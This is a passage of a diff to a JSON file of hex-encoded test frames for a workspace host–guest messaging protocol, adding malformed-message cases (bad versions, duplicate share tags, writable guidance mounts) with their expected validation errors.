"574d58310101000001000000390600007b2276223a312c2274223a22636f6e766572736174696f6e73222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c2270726f66696c65223a22686f73742d71756572792d6775696465642d7631222c22636f6e766572736174696f6e73223a5b7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303031222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303031222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303030302c22746f6f6c556964223a32303030312c22776f726b7370616365476964223a32353030302c22706f6c696379223a226175746f222c22726f6f7473223a5b7b226964223a22726f6f742d6e6f746573222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d6f757470757473222c22677565737450617468223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22736f75726365223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22726561644f6e6c79223a66616c73657d5d2c2272756e74696d65223a7b226d6f64656c223a226d6f64656c2d616c706861222c2274696d656f75744d73223a3630303030302c22746f6f6c436c6173736573223a5b2272656164222c227772697465222c2265786563757465225d2c2270726f7669646572223a7b2273636f7065223a7b226163636f756e745265766973696f6e223a372c226261636b656e6453657373696f6e4964223a226261636b656e642d30303031222c22626f6f744964223a2236363636363636362d363636362d343636362d383636362d363636363636363636363636222c226772616e745265766973696f6e223a352c22686f6d654964223a22686f6d655f39393939393939392d393939392d343939392d383939392d393939393939393939393939222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c226d6f64656c5265766973696f6e223a382c2273657373696f6e4964223a22636f6e762d30303031222c227461736b4964223a227461736b2d30303031222c22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131227d2c2273656c656374696f6e223a7b226361706162696c6974696573223a5b22746f6f6c73222c2273747265616d696e67225d2c2266616d696c79223a2266616d696c792d616c706861222c226d6f64656c4b6579223a226d6f64656c2d616c706861222c2270726f746f636f6c223a2270726f746f636f6c2d616c706861222c2270726f76696465724964223a2270726f76696465722d616c706861222c2270726f76696465724d6f64656c4964223a2270726f76696465722d6d6f64656c2d616c706861227d7d2c22677569646564223a7b2262696e64696e674964223a2233663262386331652d356434612d346536662d396137622d316332643365346635613662222c2267656e65726174696f6e223a317d7d7d5d7d", + "hex": "574d58310101000001000000760600007b2276223a322c2274223a22636f6e766572736174696f6e73222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c2270726f66696c65223a22686f73742d71756572792d6775696465642d7631222c2262726f777365556964223a6e756c6c2c22636f6e766572736174696f6e73223a5b7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303031222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303031222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303030302c22746f6f6c556964223a32303030312c22776f726b7370616365476964223a32353030302c22706f6c696379223a226175746f222c22726f6f7473223a5b7b226964223a22726f6f742d6e6f746573222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d6f757470757473222c22677565737450617468223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22736f75726365223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22726561644f6e6c79223a66616c73657d5d2c2272756e74696d65223a7b226d6f64656c223a226d6f64656c2d616c706861222c2274696d656f75744d73223a3630303030302c22746f6f6c436c6173736573223a5b2272656164222c227772697465222c2265786563757465225d2c2270726f7669646572223a7b2273636f7065223a7b226163636f756e745265766973696f6e223a372c226261636b656e6453657373696f6e4964223a226261636b656e642d30303031222c22626f6f744964223a2236363636363636362d363636362d343636362d383636362d363636363636363636363636222c226772616e745265766973696f6e223a352c22686f6d654964223a22686f6d655f39393939393939392d393939392d343939392d383939392d393939393939393939393939222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c226d6f64656c5265766973696f6e223a382c2273657373696f6e4964223a22636f6e762d30303031222c227461736b4964223a227461736b2d30303031222c22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131227d2c2273656c656374696f6e223a7b226361706162696c6974696573223a5b22746f6f6c73222c2273747265616d696e67225d2c2266616d696c79223a2266616d696c792d616c706861222c226d6f64656c4b6579223a226d6f64656c2d616c706861222c2270726f746f636f6c223a2270726f746f636f6c2d616c706861222c2270726f76696465724964223a2270726f76696465722d616c706861222c2270726f76696465724d6f64656c4964223a2270726f76696465722d6d6f64656c2d616c706861227d7d2c22677569646564223a7b2262696e64696e674964223a2233663262386331652d356434612d346536662d396137622d316332643365346635613662222c2267656e65726174696f6e223a317d2c22636f6e74696e756174696f6e223a226672657368222c22656e6465644775657374426f6f7473223a5b5d7d7d5d7d", "error": "unknown_type" }, { "name": "bootstrap-fault-unknown-code", "direction": "up", - "hex": "574d58310101000001000000930000007b2276223a312c2274223a226661756c74222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22636f6465223a227365636f6e645f706c616e227d", + "hex": "574d58310101000001000000930000007b2276223a322c2274223a226661756c74222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22636f6465223a227365636f6e645f706c616e227d", "error": "bad_field" }, { @@ -872,7 +977,7 @@ "name": "runtime-stream-four", "direction": "up", "hex": "574d58310102000001000000050000000004000041", - "error": "bad_field" + "error": "bad_direction" }, { "name": "runtime-flags-two", @@ -909,6 +1014,246 @@ "direction": "up", "hex": "574d583101020000010000000400000000020000", "error": "bad_field" + }, + { + "name": "bootstrap-version-one", + "direction": "up", + "hex": "574d58310101000004000000800000007b2276223a312c2274223a226d6f756e746564222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066227d", + "error": "version" + }, + { + "name": "bootstrap-version-three", + "direction": "down", + "hex": "574d583101010000020000007e0000007b2276223a332c2274223a227265616479222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066227d", + "error": "version" + }, + { + "name": "runtime-file-in-travelling-up", + "direction": "up", + "hex": "574d583101020000030000000600000000040000780a", + "error": "bad_direction" + }, + { + "name": "runtime-file-out-travelling-down", + "direction": "down", + "hex": "574d583101020000030000000600000000050000780a", + "error": "bad_direction" + }, + { + "name": "runtime-stream-six", + "direction": "up", + "hex": "574d58310102000003000000050000000006000078", + "error": "bad_field" + }, + { + "name": "runtime-file-in-on-conversation-one", + "direction": "down", + "hex": "574d583101020000030000000600000001040000780a", + "error": "bad_field" + }, + { + "name": "runtime-file-out-on-conversation-one", + "direction": "up", + "hex": "574d583101020000030000000600000001050000780a", + "error": "bad_field" + }, + { + "name": "runtime-file-out-empty-without-end", + "direction": "up", + "hex": "574d583101020000030000000400000000050000", + "error": "bad_field" + }, + { + "name": "shares-travelling-up", + "direction": "up", + "hex": "574d58310101000003000000610200007b2276223a322c2274223a22736861726573222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22736861726573223a5b7b22746167223a227372632d30222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22726561644f6e6c79223a66616c73652c226b696e64223a22666f6c646572227d2c7b22746167223a227372632d31222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f70686f746f73222c22726561644f6e6c79223a747275652c226b696e64223a22666f6c646572227d2c7b22746167223a2277696e7465722d67756964616e6365222c22677565737450617468223a222f72756e2f77696e7465722f7368617265642d696e737472756374696f6e73222c22726561644f6e6c79223a747275652c226b696e64223a2267756964616e6365227d2c7b22746167223a2277696e7465722d6d656d6f7279222c22677565737450617468223a222f776f726b73706163652f2e77696e7465722f6d656d6f7279222c22726561644f6e6c79223a66616c73652c226b696e64223a226d656d6f7279227d2c7b22746167223a2277696e7465722d6f757470757473222c22677565737450617468223a222f776f726b73706163652f6f757470757473222c22726561644f6e6c79223a66616c73652c226b696e64223a226f757470757473227d5d7d", + "error": "unknown_type" + }, + { + "name": "shares-mounted-travelling-down", + "direction": "down", + "hex": "574d58310101000005000000870000007b2276223a322c2274223a227368617265735f6d6f756e746564222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066227d", + "error": "unknown_type" + }, + { + "name": "shares-empty-list", + "direction": "down", + "hex": "574d583101010000030000008b0000007b2276223a322c2274223a22736861726573222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22736861726573223a5b5d7d", + "error": "bad_field" + }, + { + "name": "shares-thirteen", + "direction": "down", + "hex": "574d58310101000003000000090500007b2276223a322c2274223a22736861726573222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22736861726573223a5b7b22746167223a227372632d30222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22726561644f6e6c79223a66616c73652c226b696e64223a22666f6c646572227d2c7b22746167223a227372632d31222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f70686f746f73222c22726561644f6e6c79223a747275652c226b696e64223a22666f6c646572227d2c7b22746167223a2277696e7465722d67756964616e6365222c22677565737450617468223a222f72756e2f77696e7465722f7368617265642d696e737472756374696f6e73222c22726561644f6e6c79223a747275652c226b696e64223a2267756964616e6365227d2c7b22746167223a2277696e7465722d6d656d6f7279222c22677565737450617468223a222f776f726b73706163652f2e77696e7465722f6d656d6f7279222c22726561644f6e6c79223a66616c73652c226b696e64223a226d656d6f7279227d2c7b22746167223a2277696e7465722d6f757470757473222c22677565737450617468223a222f776f726b73706163652f6f757470757473222c22726561644f6e6c79223a66616c73652c226b696e64223a226f757470757473227d2c7b22746167223a227372632d32222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6630222c22726561644f6e6c79223a66616c73652c226b696e64223a22666f6c646572227d2c7b22746167223a227372632d33222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6631222c22726561644f6e6c79223a66616c73652c226b696e64223a22666f6c646572227d2c7b22746167223a227372632d34222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6632222c22726561644f6e6c79223a66616c73652c226b696e64223a22666f6c646572227d2c7b22746167223a227372632d35222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6633222c22726561644f6e6c79223a66616c73652c226b696e64223a22666f6c646572227d2c7b22746167223a227372632d36222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6634222c22726561644f6e6c79223a66616c73652c226b696e64223a22666f6c646572227d2c7b22746167223a227372632d37222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6635222c22726561644f6e6c79223a66616c73652c226b696e64223a22666f6c646572227d2c7b22746167223a227372632d38222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6636222c22726561644f6e6c79223a66616c73652c226b696e64223a22666f6c646572227d2c7b22746167223a227372632d39222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6637222c22726561644f6e6c79223a66616c73652c226b696e64223a22666f6c646572227d5d7d", + "error": "bad_field" + }, + { + "name": "shares-ten-folders", + "direction": "down", + "hex": "574d58310101000003000000e20300007b2276223a322c2274223a22736861726573222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22736861726573223a5b7b22746167223a227372632d30222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22726561644f6e6c79223a66616c73652c226b696e64223a22666f6c646572227d2c7b22746167223a227372632d31222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f70686f746f73222c22726561644f6e6c79223a747275652c226b696e64223a22666f6c646572227d2c7b22746167223a227372632d32222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6630222c22726561644f6e6c79223a66616c73652c226b696e64223a22666f6c646572227d2c7b22746167223a227372632d33222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6631222c22726561644f6e6c79223a66616c73652c226b696e64223a22666f6c646572227d2c7b22746167223a227372632d34222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6632222c22726561644f6e6c79223a66616c73652c226b696e64223a22666f6c646572227d2c7b22746167223a227372632d35222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6633222c22726561644f6e6c79223a66616c73652c226b696e64223a22666f6c646572227d2c7b22746167223a227372632d36222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6634222c22726561644f6e6c79223a66616c73652c226b696e64223a22666f6c646572227d2c7b22746167223a227372632d37222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6635222c22726561644f6e6c79223a66616c73652c226b696e64223a22666f6c646572227d2c7b22746167223a227372632d38222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6636222c22726561644f6e6c79223a66616c73652c226b696e64223a22666f6c646572227d2c7b22746167223a227372632d39222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6637222c22726561644f6e6c79223a66616c73652c226b696e64223a22666f6c646572227d5d7d", + "error": "bad_field" + }, + { + "name": "shares-duplicate-tag", + "direction": "down", + "hex": "574d58310101000003000000610200007b2276223a322c2274223a22736861726573222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22736861726573223a5b7b22746167223a227372632d30222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22726561644f6e6c79223a66616c73652c226b696e64223a22666f6c646572227d2c7b22746167223a227372632d30222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f70686f746f73222c22726561644f6e6c79223a747275652c226b696e64223a22666f6c646572227d2c7b22746167223a2277696e7465722d67756964616e6365222c22677565737450617468223a222f72756e2f77696e7465722f7368617265642d696e737472756374696f6e73222c22726561644f6e6c79223a747275652c226b696e64223a2267756964616e6365227d2c7b22746167223a2277696e7465722d6d656d6f7279222c22677565737450617468223a222f776f726b73706163652f2e77696e7465722f6d656d6f7279222c22726561644f6e6c79223a66616c73652c226b696e64223a226d656d6f7279227d2c7b22746167223a2277696e7465722d6f757470757473222c22677565737450617468223a222f776f726b73706163652f6f757470757473222c22726561644f6e6c79223a66616c73652c226b696e64223a226f757470757473227d5d7d", + "error": "bad_field" + }, + { + "name": "shares-duplicate-guest-path", + "direction": "down", + "hex": "574d58310101000003000000600200007b2276223a322c2274223a22736861726573222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22736861726573223a5b7b22746167223a227372632d30222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22726561644f6e6c79223a66616c73652c226b696e64223a22666f6c646572227d2c7b22746167223a227372632d31222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22726561644f6e6c79223a747275652c226b696e64223a22666f6c646572227d2c7b22746167223a2277696e7465722d67756964616e6365222c22677565737450617468223a222f72756e2f77696e7465722f7368617265642d696e737472756374696f6e73222c22726561644f6e6c79223a747275652c226b696e64223a2267756964616e6365227d2c7b22746167223a2277696e7465722d6d656d6f7279222c22677565737450617468223a222f776f726b73706163652f2e77696e7465722f6d656d6f7279222c22726561644f6e6c79223a66616c73652c226b696e64223a226d656d6f7279227d2c7b22746167223a2277696e7465722d6f757470757473222c22677565737450617468223a222f776f726b73706163652f6f757470757473222c22726561644f6e6c79223a66616c73652c226b696e64223a226f757470757473227d5d7d", + "error": "bad_field" + }, + { + "name": "shares-tag-uppercase", + "direction": "down", + "hex": "574d58310101000003000000610200007b2276223a322c2274223a22736861726573222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22736861726573223a5b7b22746167223a227372632d30222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22726561644f6e6c79223a66616c73652c226b696e64223a22666f6c646572227d2c7b22746167223a225372632d31222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f70686f746f73222c22726561644f6e6c79223a747275652c226b696e64223a22666f6c646572227d2c7b22746167223a2277696e7465722d67756964616e6365222c22677565737450617468223a222f72756e2f77696e7465722f7368617265642d696e737472756374696f6e73222c22726561644f6e6c79223a747275652c226b696e64223a2267756964616e6365227d2c7b22746167223a2277696e7465722d6d656d6f7279222c22677565737450617468223a222f776f726b73706163652f2e77696e7465722f6d656d6f7279222c22726561644f6e6c79223a66616c73652c226b696e64223a226d656d6f7279227d2c7b22746167223a2277696e7465722d6f757470757473222c22677565737450617468223a222f776f726b73706163652f6f757470757473222c22726561644f6e6c79223a66616c73652c226b696e64223a226f757470757473227d5d7d", + "error": "bad_field" + }, + { + "name": "shares-tag-thirty-three", + "direction": "down", + "hex": "574d583101010000030000007d0200007b2276223a322c2274223a22736861726573222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22736861726573223a5b7b22746167223a227372632d30222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22726561644f6e6c79223a66616c73652c226b696e64223a22666f6c646572227d2c7b22746167223a22616161616161616161616161616161616161616161616161616161616161616161222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f70686f746f73222c22726561644f6e6c79223a747275652c226b696e64223a22666f6c646572227d2c7b22746167223a2277696e7465722d67756964616e6365222c22677565737450617468223a222f72756e2f77696e7465722f7368617265642d696e737472756374696f6e73222c22726561644f6e6c79223a747275652c226b696e64223a2267756964616e6365227d2c7b22746167223a2277696e7465722d6d656d6f7279222c22677565737450617468223a222f776f726b73706163652f2e77696e7465722f6d656d6f7279222c22726561644f6e6c79223a66616c73652c226b696e64223a226d656d6f7279227d2c7b22746167223a2277696e7465722d6f757470757473222c22677565737450617468223a222f776f726b73706163652f6f757470757473222c22726561644f6e6c79223a66616c73652c226b696e64223a226f757470757473227d5d7d", + "error": "bad_field" + }, + { + "name": "shares-guidance-writable", + "direction": "down", + "hex": "574d58310101000003000000620200007b2276223a322c2274223a22736861726573222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22736861726573223a5b7b22746167223a227372632d30222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22726561644f6e6c79223a66616c73652c226b696e64223a22666f6c646572227d2c7b22746167223a227372632d31222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f70686f746f73222c22726561644f6e6c79223a747275652c226b696e64223a22666f6c646572227d2c7b22746167223a2277696e7465722d67756964616e6365222c22677565737450617468223a222f72756e2f77696e7465722f7368617265642d696e737472756374696f6e73222c22726561644f6e6c79223a66616c73652c226b696e64223a2267756964616e6365227d2c7b22746167223a2277696e7465722d6d656d6f7279222c22677565737450617468223a222f776f726b73706163652f2e77696e7465722f6d656d6f7279222c22726561644f6e6c79223a66616c73652c226b696e64223a226d656d6f7279227d2c7b22746167223a2277696e7465722d6f757470757473222c22677565737450617468223a222f776f726b73706163652f6f757470757473222c22726561644f6e6c79223a66616c73652c226b696e64223a226f757470757473227d5d7d", + "error": "bad_field" + }, + { + "name": "shares-memory-read-only", + "direction": "down", + "hex": "574d58310101000003000000600200007b2276223a322c2274223a22736861726573222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22736861726573223a5b7b22746167223a227372632d30222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22726561644f6e6c79223a66616c73652c226b696e64223a22666f6c646572227d2c7b22746167223a227372632d31222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f70686f746f73222c22726561644f6e6c79223a747275652c226b696e64223a22666f6c646572227d2c7b22746167223a2277696e7465722d67756964616e6365222c22677565737450617468223a222f72756e2f77696e7465722f7368617265642d696e737472756374696f6e73222c22726561644f6e6c79223a747275652c226b696e64223a2267756964616e6365227d2c7b22746167223a2277696e7465722d6d656d6f7279222c22677565737450617468223a222f776f726b73706163652f2e77696e7465722f6d656d6f7279222c22726561644f6e6c79223a747275652c226b696e64223a226d656d6f7279227d2c7b22746167223a2277696e7465722d6f757470757473222c22677565737450617468223a222f776f726b73706163652f6f757470757473222c22726561644f6e6c79223a66616c73652c226b696e64223a226f757470757473227d5d7d", + "error": "bad_field" + }, + { + "name": "shares-outputs-wrong-mount", + "direction": "down", + "hex": "574d58310101000003000000630200007b2276223a322c2274223a22736861726573222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22736861726573223a5b7b22746167223a227372632d30222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22726561644f6e6c79223a66616c73652c226b696e64223a22666f6c646572227d2c7b22746167223a227372632d31222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f70686f746f73222c22726561644f6e6c79223a747275652c226b696e64223a22666f6c646572227d2c7b22746167223a2277696e7465722d67756964616e6365222c22677565737450617468223a222f72756e2f77696e7465722f7368617265642d696e737472756374696f6e73222c22726561644f6e6c79223a747275652c226b696e64223a2267756964616e6365227d2c7b22746167223a2277696e7465722d6d656d6f7279222c22677565737450617468223a222f776f726b73706163652f2e77696e7465722f6d656d6f7279222c22726561644f6e6c79223a66616c73652c226b696e64223a226d656d6f7279227d2c7b22746167223a2277696e7465722d6f757470757473222c22677565737450617468223a222f776f726b73706163652f6f7574707574732f78222c22726561644f6e6c79223a66616c73652c226b696e64223a226f757470757473227d5d7d", + "error": "bad_field" + }, + { + "name": "shares-folder-nested-mount", + "direction": "down", + "hex": "574d58310101000003000000670200007b2276223a322c2274223a22736861726573222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22736861726573223a5b7b22746167223a227372632d30222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22726561644f6e6c79223a66616c73652c226b696e64223a22666f6c646572227d2c7b22746167223a227372632d31222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6e6f7465732f70686f746f73222c22726561644f6e6c79223a747275652c226b696e64223a22666f6c646572227d2c7b22746167223a2277696e7465722d67756964616e6365222c22677565737450617468223a222f72756e2f77696e7465722f7368617265642d696e737472756374696f6e73222c22726561644f6e6c79223a747275652c226b696e64223a2267756964616e6365227d2c7b22746167223a2277696e7465722d6d656d6f7279222c22677565737450617468223a222f776f726b73706163652f2e77696e7465722f6d656d6f7279222c22726561644f6e6c79223a66616c73652c226b696e64223a226d656d6f7279227d2c7b22746167223a2277696e7465722d6f757470757473222c22677565737450617468223a222f776f726b73706163652f6f757470757473222c22726561644f6e6c79223a66616c73652c226b696e64223a226f757470757473227d5d7d", + "error": "bad_field" + }, + { + "name": "shares-folder-outside-folders", + "direction": "down", + "hex": "574d583101010000030000005f0200007b2276223a322c2274223a22736861726573222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22736861726573223a5b7b22746167223a227372632d30222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22726561644f6e6c79223a66616c73652c226b696e64223a22666f6c646572227d2c7b22746167223a227372632d31222c22677565737450617468223a222f776f726b73706163652f7265706f732f70686f746f73222c22726561644f6e6c79223a747275652c226b696e64223a22666f6c646572227d2c7b22746167223a2277696e7465722d67756964616e6365222c22677565737450617468223a222f72756e2f77696e7465722f7368617265642d696e737472756374696f6e73222c22726561644f6e6c79223a747275652c226b696e64223a2267756964616e6365227d2c7b22746167223a2277696e7465722d6d656d6f7279222c22677565737450617468223a222f776f726b73706163652f2e77696e7465722f6d656d6f7279222c22726561644f6e6c79223a66616c73652c226b696e64223a226d656d6f7279227d2c7b22746167223a2277696e7465722d6f757470757473222c22677565737450617468223a222f776f726b73706163652f6f757470757473222c22726561644f6e6c79223a66616c73652c226b696e64223a226f757470757473227d5d7d", + "error": "bad_field" + }, + { + "name": "shares-two-memory", + "direction": "down", + "hex": "574d58310101000003000000680200007b2276223a322c2274223a22736861726573222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22736861726573223a5b7b22746167223a227372632d30222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22726561644f6e6c79223a66616c73652c226b696e64223a22666f6c646572227d2c7b22746167223a227372632d31222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f70686f746f73222c22726561644f6e6c79223a747275652c226b696e64223a22666f6c646572227d2c7b22746167223a2277696e7465722d67756964616e6365222c22677565737450617468223a222f72756e2f77696e7465722f7368617265642d696e737472756374696f6e73222c22726561644f6e6c79223a747275652c226b696e64223a2267756964616e6365227d2c7b22746167223a2277696e7465722d6d656d6f7279222c22677565737450617468223a222f776f726b73706163652f2e77696e7465722f6d656d6f7279222c22726561644f6e6c79223a66616c73652c226b696e64223a226d656d6f7279227d2c7b22746167223a2277696e7465722d6d656d6f72792d32222c22677565737450617468223a222f776f726b73706163652f2e77696e7465722f6d656d6f7279222c22726561644f6e6c79223a66616c73652c226b696e64223a226d656d6f7279227d5d7d", + "error": "bad_field" + }, + { + "name": "shares-unknown-kind", + "direction": "down", + "hex": "574d58310101000003000000610200007b2276223a322c2274223a22736861726573222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22736861726573223a5b7b22746167223a227372632d30222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22726561644f6e6c79223a66616c73652c226b696e64223a22666f6c646572227d2c7b22746167223a227372632d31222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f70686f746f73222c22726561644f6e6c79223a747275652c226b696e64223a22666f6c646572227d2c7b22746167223a2277696e7465722d67756964616e6365222c22677565737450617468223a222f72756e2f77696e7465722f7368617265642d696e737472756374696f6e73222c22726561644f6e6c79223a747275652c226b696e64223a2267756964616e6365227d2c7b22746167223a2277696e7465722d6d656d6f7279222c22677565737450617468223a222f776f726b73706163652f2e77696e7465722f6d656d6f7279222c22726561644f6e6c79223a66616c73652c226b696e64223a226d656d6f7279227d2c7b22746167223a2277696e7465722d6f757470757473222c22677565737450617468223a222f776f726b73706163652f6f757470757473222c22726561644f6e6c79223a66616c73652c226b696e64223a2273637261746368227d5d7d", + "error": "bad_field" + }, + { + "name": "shares-extra-key", + "direction": "down", + "hex": 